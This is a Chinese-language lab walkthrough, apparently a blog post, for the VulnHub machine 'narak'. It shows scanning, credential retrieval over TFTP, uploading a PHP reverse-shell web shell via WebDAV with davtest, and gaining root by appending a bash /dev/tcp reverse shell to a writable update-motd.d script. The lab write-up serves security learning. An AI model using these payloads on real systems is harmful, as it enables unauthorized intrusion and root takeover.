theme: smartblue
vulnhub:narak官方下载
难度:⭐⭐
前言
本系列第3台靶机精讲:narak,打破常规信息收集的思维定式,不论是对webdav的理解还是对motd提权的运用都可以让初学者对渗透的认知更上一层楼。
阅读此篇,你将认识除了nmap的另外2款性能强大的网络扫描器,并充分理解update-motd.d脚本的作用及其利用方式。
侦察
netdiscover&masscan
虽然nmap的应用频率和适用性很大,但对于其他网络扫描工具的理解和应用,我们也应该进行一定程度上的了解。
netdiscover
是一款网络发现工具,主要用于发现局域网内的活跃主机
sudo netdiscover -r 10.10.10.0/24
使用netdiscover需要sudo权限;-r
指定扫描范围,这里扫描整个C段
参考扫描结果:
Currently scanning: Finished! | Screen View: Unique Hosts
180 Captured ARP Req/Rep packets, from 4 hosts. Total size: 10800
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.10.10.1 00:50:56:c0:00:08 162 9720 VMware, Inc.
10.10.10.2 00:50:56:f9:cd:83 6 360 VMware, Inc.
10.10.10.129 00:0c:29:f8:16:43 7 420 VMware, Inc.
10.10.10.254 00:50:56:ef:4a:8a 5 300 VMware, Inc.
10.10.10.1
为物理机私网IP,10.10.10.2
为网关,10.10.10.129
即为靶机IP,10.10.10.254
是广播地址
端口扫描可以采用masscan
,它可以非常快速地扫描IP以检测目标主机的哪些端口予以响应
sudo masscan 10.10.10.129 -p 1-10000
masscan同样需要sudo权限才能正常运行,基于时间和效率的综合考量,扫描前10000个端口即可
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo masscan 10.10.10.129 -p 1-10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-03-27 04:08:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [10000 ports/host]
Discovered open port 22/tcp on 10.10.10.129 nd=0
Discovered open port 80/tcp on 10.10.10.129
主机开放有2个端口,分别是22和80
80端口信息收集
对于http的资源嗅探,首先访问主页,URL栏搜索靶机IP
出现了很多张jpg格式的图片,图中只截取了页面末尾的信息。对于web主页的信息收集,需要细心观察,切忌焦躁,对内部的动态链接要不断尝试摸索,观察源代码或者站点标题,HA:NARAK
可能是一个http-title,在这台靶机中可能用处不大。另外,我们还应该考虑到图片的隐写,虽然图片隐写的优先级不高基本不会碰见,但在主路走不通的情况下仍具有尝试的价值。
值得一提的是,页脚出现了
Hacking Articles
的超链接,这个网站对于网络安全学习者的帮助起到了推波助澜的作用,其不仅涵盖了红队的基本技术,还执笔了大量靶机的awesome walkthrough(精选题解),并且其思路和方法和国内有所不同,值得一学。
主页没有得到有效信息,那就实行目录爆破
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo gobuster dir -u http://10.10.10.129 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/images (Status: 301) [Size: 313] [--> http://10.10.10.129/images/]
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 2998]
/.php (Status: 403) [Size: 277]
/tips.txt (Status: 200) [Size: 58]
/webdav (Status: 401) [Size: 459]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
index.html
应该就是刚才我们访问的主页,tips.txt
是可以访问的,看名字估计有价值,webdav
我们肯定能通过它拿到一些信息的,因为其本身的用途就是文件传输,难免发生一些信息泄露,但状态码为401表示我们先要拿到合理的凭据才能访问该页面。
先看tips.txt
文件
“可以在creds.txt中发现打开narak之门的线索。”
如果你有足够的思维宽度,或者拥有一定的打靶经验,那么对于creds.txt
关键词的理解就不会简单的停留在文件名这一层面上。要知道。它仅仅是一串带了点的字符串,也就是说,只要是任何能通过字符串交互的地方都有可能用到这个关键词,例如URL的输入可以加上这个作为路径,那它是在网站根目录下?还是在二级目录下?又比如说凭据的输入是否可以加上这个作为密码?在/webdav/
的授权登录中,由于我们没有可信的用户名候选名单,因此作为密码的概率较小,但作为一个文件名的概率是非常大的。经尝试,关于creds.txt
所有的路径都是404。
这是narak靶机的一大难点,不知道各位当时做到这个位置的时候是怎么思考的,是重新进行目录枚举?还是对webdav进行表单爆破?我在这里提供一下我的思路,仅作参考:首先creds.txt
肯定是作为一个文件名存在于系统内的,既然在web端访问不了,那就说明其存放的空间不在网站的目录结构之内,但问题是,我们不知道它还能在哪儿,这就说明我们对该系统的信息收集范围,尤其是对运行服务的枚举力度还不够大,即在最初的扫描阶段出现策略失误,可能漏掉了一些关键信息。
重返UDP端口嗅探
对于各种服务所依赖的端口,只有TCP和UDP两种,前者在之前扫描过,而后者即为我们所关注的对象
使用nmap
进行top100的UDP端口扫描
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo nmap -sU --top-ports 100 10.10.10.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 01:36 EDT
Nmap scan report for 10.10.10.129
Host is up (0.00056s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 00:0C:29:F8:16:43 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 108.02 seconds
UDP本身是“无连接”协议,即没有明确的“开放”状态,这一点与TCP有所不同,因此69端口是可能开放的,尝试利用一下
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp>
由于TFTP是基于UDP协议的,因此它不会像TCP协议那样建立明确的连接状态,因此,判断TFTP是否连接成功更多地依赖于观察命令响应、数据包交换和日志输出等方面的信息
使用get
命令测试连接是否正常
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp> get creds.txt
tftp>
没有显示Transfer timed out.
说明命令被正确执行,即kali的当前目录下已经下载好creds.txt
文件了
使用quit
退出后查看creds.txt
内容
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ cat creds.txt
eWFtZG9vdDpTd2FyZw==
根据字符特征可以判断出这是一串base64编码,使用kali自带的base64命令进行解码
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ echo "`cat creds.txt`" | base64 -d
yamdoot:Swarg
反引号里的内容会以执行的结果替换掉原命令,等价于echo "eWFtZG9vdDpTd2FyZw=="
;管道符会将前面语句的输出结果作为后面语句的输入,即把eWFtZG9vdDpTd2FyZw==
进行base64的解码。得到凭据yamdoot:Swarg
。
有了账号密码,就要思考其可以用在哪些登录界面。譬如ssh登录、webdav的授权认证等界面都可以进行尝试,最终发现它可以用于访问/webdav/
目录
一般来说,暴露出来的目录我们可以执行其中的文件,但这里没有任何文件。如果你不了解webdav这种基于http的文件传输与共享的网络协议,可能会认为这就是一个普通的文件夹名称。在此处,webdav是一个专有名词,我们可以通过在上一篇靶机精讲中提到过的searchsploit
进行公开漏洞利用,也可以使用专门针对webdav的davtest
测试工具。
以davtest
为例
davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /
使用davtest命令建议先通过davtest -h
查看一下教程。反弹shell的方式很多,上述命令仅仅是通过自建shell.php
上传并点击执行来实现的;-auth
给出授权凭据;-uploadfile
选择我们要上传的文件,此处我们写入的是经典的一句话bash反弹语句<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"');?>
;-uploadloc
指定上传的路径,即相对于webdav的根目录,此选项需和-uploadfile
成对出现。
执行成功时结果如下:
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.129/webdav
********************************************************
unless Uploading file
Upload succeeded: http://10.10.10.129/webdav//
此时访问/webdav/
目录,就会出现一个shell.php
文件。在点击其执行之前,先确保kali中已启用nc
监听
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 44738
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/webdav$
连接信息我们简单解析一下:Inverse Host Lookup Failed
表示解析靶机的主机名失败了,这条信息影响不大;Cannot Set Terminal Process Group & No Job Control in This Shell
表示终端功能不完整,也就是shell的交互性不友好,这点可以通过引入python的pty模块解决。
枚举
鉴于上述分析中提到shell的不完善功能,在枚举之前先进行shell的修复
python3 -c 'import pty;pty.spawn("/bin/bash")'
python命令中的-c
选项表示执行后面的python代码字符串,通过引入pty
模块中的spawn()
函数来启动一个新的bashshell,以提高终端交互性。
进行基本的用户信息检查
www-data@ubuntu:/var/www/webdav$ whoami
whoami
www-data
www-data@ubuntu:/var/www/webdav$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
然后进行系统状态信息检查
www-data@ubuntu:/var/www/webdav$ cat /proc/version
cat /proc/version
Linux version 4.15.0-20-generic (buildd@lgw01-amd64-039) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018
查看其他用户
www-data@ubuntu:/var/www/webdav$ cat /etc/passwd | grep home | grep bash
cat /etc/passwd | grep home | grep bash
narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash
接下来可以尝试sudo -l
,但由于我们是通过反弹shell进入系统的,没有密码,因此大概率无法看到其内容;也可以尝试cat /etc/crontab
,或者cat /var/spool/cron/crontabs
,系统提示权限不足。到这里为止,之前的提权方式就不管用了,从权限体系的角度出发,我们需要查找当前用户所拥有一定权限的文件,包括但不限于可写(w)、root身份执行(s)以及用户家目录下的非常规文件。
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
find
命令处于linux命令的第一梯队,运用十分广泛。-writable
指定查找可修改文件;-type
指定查找类型为f
(普通文件);由于结果很多,其中大部分都是系统文件没有利用意义,因此用grep -v
进行反向筛选。proc
和sys
在大多数查询限定条件中都可以排除掉,var
由于包含网站根目录,因此是否要将其排除需要视情况而定,这些细节会在后续靶机精讲中逐步提及。
参考结果:
www-data@ubuntu:/var/www/webdav$ find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
<dev/null | grep -v proc | grep -v sys | grep -v var
/mnt/hell.sh
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/80-esm
/etc/update-motd.d/80-livepatch
/etc/update-motd.d/10-help-text
/etc/apache2/users.password
可以看到,/mnt/
下有一个非常规文件hell.sh
,在boot2root类型的靶机中,类似的非常规文件一定包含有价值的信息;再往下看,/etc/update-motd.d/
下有一系列可写文件,这些统统都可以使用低权限修改,高权限执行的提权思维,这一点B站上的红队笔记已经解释得十分清楚,在此我就不再赘述。
首先查看hell.sh
文件
www-data@ubuntu:/var/www/webdav$ cat /mnt/hell.sh
cat /mnt/hell.sh
#!/bin/bash
echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
如果你不知道这是什么编码,可以把它扔给谷歌或者AI进行判断,基本都能提示出这是brainfuck编码格式。使用brainfuck解码工具可以得到一个字符串chitragupt,不难想到这或许是某个用户的密码。
先尝试一下su - root
,如果不行,再尝试登录其他用户
www-data@ubuntu:/var/www/webdav$ su - root
su - root
Password: chitragupt
su: Authentication failure
www-data@ubuntu:/var/www/webdav$ su - inferno
su - inferno
Password: chitragupt
inferno@ubuntu:~$
成功切换为inferno用户,由于用户权限提高了,因此可以重新使用find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
看一下是否存在其他可利用文件。在结果中,update-motd.d
目录仍然存在,这就为我们的提权提供了可能。
update-motd.d
是linux系统中比较常见的一个脚本目录,每当有用户通过 SSH 或其他终端服务登录系统时,这些脚本会被执行,并将它们的输出显示在登录消息中。在本台靶机中:inferno@ubuntu:~$ cd /etc/update-motd.d;ls -lah cd /etc/update-motd.d;ls -lah total 36K drwxrwxrwx 2 root root 4.0K Sep 21 2020 . drwxr-xr-x 80 root root 4.0K Sep 22 2020 .. -rwxrwxrwx 1 root root 1.2K Apr 9 2018 00-header -rwxrwxrwx 1 root root 1.2K Apr 9 2018 10-help-text -rwxrwxrwx 1 root root 4.2K Apr 9 2018 50-motd-news -rwxrwxrwx 1 root root 604 Mar 21 2018 80-esm -rwxrwxrwx 1 root root 3.0K Mar 21 2018 80-livepatch -rwxrwxrwx 1 root root 299 May 18 2017 91-release-upgrade
文件名的数字表示他们的执行顺序,
00-header
脚本会被最先执行,表示通用的欢迎信息
因此,在任何一个脚本里插入bash的反弹语句都可以达到提权效果,这和前面几台靶机精讲的提权逻辑如出一辙,如果你还未对此提权思维具有透彻理解,可移步至甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?进行学习。
以10-help-text
为例
inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text
<>& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text
追加写入成功后,exit
退出终端,然后使用ssh [email protected]
进行远程登录,这个过程就会调用update-motd.d
目录下的所有脚本,并且执行权限为root。在确保kali中启用nc -lvp 999
监听后,执行登陆操作。
当kali中出现如下响应即说明提权成功:
┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 43328
bash: cannot set terminal process group (2551): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/#
结语
在最终的提权阶段,我们采用的是反弹shell的方式来获取root权限的,但在日后的打靶过程中,这种方法不一定奏效,实际情况可能会受到waf的干扰或者其他限制,因此我们往往会使用一些基于当前用户权限提高的手段,包括但不限于修改sudoers
文件权限、添加root权限用户等方式。类似的提权策略我们会在后续的靶机精讲中逐步讲解。
如果各位读者有任何与本台靶机相关的疑问或者有更好的见解,欢迎随时在评论区留言,我将竭诚回复!